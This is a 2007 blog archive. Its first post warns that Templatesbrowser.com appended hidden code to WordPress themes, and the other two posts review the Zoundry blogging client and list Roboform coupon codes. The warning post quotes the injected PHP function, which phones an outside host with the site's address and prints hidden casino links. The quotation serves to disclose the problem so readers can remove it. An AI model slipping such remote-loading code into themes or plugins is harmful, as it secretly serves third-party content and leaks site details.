Archive for the ‘Internet Software’ Category
Templatebrowser puts link spam in Wordpress
July 8th, 2007 | 
Author: If you have ever downloaded a Wordpress template from the TemplateBrowser site, please read!
Yesterday, something very ugly revealed itself and I wanted to make as many people aware of it as I could.
At the very bottom of the Wordpress blog, the words Online Casino began to appear. This happened on 2 blogs that I oversee. At first I thought there was something wrong with my server. I searched all through the PHP files for the name of the site (statcounter), but couldn’t find it.
You couldn’t see this text using a browser, it was set to be hidden. A friend of mine using IE 7 discovered it when an error appeared after loading the page. Looking at the source of the blog showed the name of the statcounter website embedded at the very bottom of the page. And the text of “Online Casino” was at the bottom of the page. Firefox and IE 6 did not show an error, but if you watched very carefully you could see a quick connection to the statscounter site to grab data.
We searched all over and finally came across this page which seems to reveal everything!
Templatesbrowser.com_puts_link_spam_in_WordPress
It seems the site Templatebrowser which hosts hundreds of free Wordpress templates is injecting SPAM code into the Wordpress files so it can secretly link to other sites. Here is the text of the article from Onnoot.com.
My brother Wessel used to be very positive about the thousands of free WordPress themes that you can download to markup your weblog.
But one should be careful. With my web page monitoring service Follow That Page, which also monitors hidden text, I found that my brothers website contained hidden commercial links to casinos and hotels. My brother checked it out and discovered the site that is responsible for all this: www.templatesbrowser.com/wordpress-themes/.
How does Templatesbrowser.com work?
On their site, you can download more than hundred free WordPress themes. These themes come from other websites, but Templatesbrowser.com adds a sneaky piece of code at the end of the file functions.php:
function credits()
{
$url = "http://get.templatesbrowser.com/wp.php?" . "url=" . urlencode($_SERVER['REQUEST_URI']) . "&" . "host=" . urlencode($_SERVER['HTTP_HOST']);
$check = @fsockopen("get.templatesbrowser.com", 80, $errno, $errstr, 3);
if($check)
{
@readfile($url);
fclose($check);
}
}
If you use one of those templates in your WordPress weblog, this piece of PHP code returns the following HTML code:
<div id="copyl" style="display: none;"><a href="http://www.casinotropez.[...]">casino en ligne</a></div>
This produces a link at the bottom of every WordPress page, that is invisible for human readers.
Templatesbrowser.com apparently does this to increase the pagerank of certain websites. We’re not sure if Google falls for this little link spam trick. But if Google does find out that your page contains link spam, you risk being punished. That could mean that your website is removed from Google’s search result pages.
I did exactly as the article said and low and behold I have the “credits function” in my blog code. I removed it and the hidden link disappeared off the main page and there was no trace of it in the source code of the web page.
If you have every downloaded a template from Templatebrowser, please check the functions.php code and remove their link! We have also removed a link back to their main site and will never download a file from them again!
A huge thank you to Onno for this discovery, and an even bigger GO TO HELL YOU MISERABLE BASTARDS to Templatebrowser for putting crap code into a template they don’t even own and making it look like the template’s author may be to blame. This is shameful and Wordpress and the template authors should work to shut that piece of crap site down!
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Zoundry as a Wordpress Desktop Client
I’ve been using the Zoundry client for a little bit now and I’m happy to report that it works quite well. Even through the version number is 1.0 it still lists as being in Beta, which is fine, it has enough features and is stable enough to be useful in everyday use.
Zoundry is the free client from www.zoundry.com and can connect to a variety of blog sites such as Blogger, Wordpress and Typepad. It features a built in editor and spell checking functions. I don’t actually use these; I still rely on Microsoft Word for all my compositions. I compose my entry with Word, copy to Notepad to remove all the extra junk formatting then paste it as an entry to Zoundry. Once there, I work on the formatting.
Zoundry makes it easy to create lists, insert graphics, create links, align text and other regular word processing functions. This is much easier than using the built in editor, at least from my working with Wordpress. You can work with multiple accounts and post to each one from within the same client.
Once in the editor you can also choose your topic categories (which are downloaded from the server) and tagwords from sources such as Technorati, del.icio.us, and Ice Rocket. Zoundry will also ping the Blog servers for you. You can’t add your own as you would in Wordpress, etc, but it does support Pingomatic, Google and several others.
You can save entries for later publication or send your article right up to the server. One thing I like about Zoundry is you don’t need FTP in order to publish articles. You use Wordpress’ built in upload functions to send posts. You can use FTP but it’s not required. This just means I don’t have to have FTP open on my server.
The only thing I’ve really had an issue with is, you need to make sure you press NEW and get a new post otherwise you are editing the previous post. Sometimes I have to pit New more than once in order to get a new blank post. This could just be a delay on my machine.
Zoundry is a free program, and you can sign up for their Affiliate Service where you post links to products from multiple vendors and earn a commission. I don’t have a slew of affiliate programs to work from so I don’t need this, but I can see how it would be useless.
Other features include:
- A warning if you forget to choose categories
- You can edit any previous post and resubmit it
- You can find links to online products through UI, such as YouTube, Wikipedia, Amazon, Google, MSN and Yahoo
- Post to multiple blogs
- See when a blog entry was written simply by clicking on it
- Edit the code of the message directly through the editor
- Save the entry as HTML to the local machine
There are a other clients on the market, and I have tried a few of them, but they’re either too expensive for the same features or they lack basic functionality. I tried Blogjet and Zoundry together and I found I liked using Zoundry more. There is a long way to go in this market before we have a real client (auto correct, autosave drafts, auto spell check), but I really like what this offers me so far.
One thing that did throw me a little. When you first post a new entry (at least with Wordpress) it doesn’t instantly appear. The post has to be copied over and published on the server. This makes it look like the post failed, but give it a minute or so and it will appear as expected.
Overall it’s a real help and does make writing blog entries easier. If you want to be able to create blog entries without being connected or using a Web Browser, this is a darn good place to start.
Plus, it has a great price… FREE
Save $10 off with Roboform Coupon Code
I’m a big fan of coupon codes and when I come across a way to save a few bucks on a program I use, I like to pass it on. Roboform is one of those programs. It’s a great program to store your passwords and fill out forms on web pages. You can now log into websites with the click of a button and have it fill out your address and phone number without having to type anything. This is a fantastic program and makes it so easy to pay bills, log into forums and check online banking with ease. If you haven’t checked out Roboform you need to go to http://www.roboform.com and download the trial version.
Now, to the coupon code. Usually you can use the code SNC to get a $10 discount, but this is reserved for low income users. You will need to prove you make less than $20,000 a year. However, there is another code you can use which will give you the same great discount without the income restriction. When filling out the order form use coupon code INP to receive $10 off the order. Your cart will say InfoPackets discount is applied: -10.00. You can now get Roboform for $19.95 without restrictions.
I’m not affiliated with Roboform or any other entity. I just love saving money! 
Other coupon codes that work:
SNC - $10 off
INP - $10 off
CORTS - $3 off
GOOG1 - $3 off
For more details visit the following websites:
http://www.roboform.com
http://robo-form.blogspot.com/2006/02/robo-form-discount-code.html
Keyword: Roboform, password manager, form filler, coupon code, discount code, SNC, INP, Save $10, password generator, fill and save forms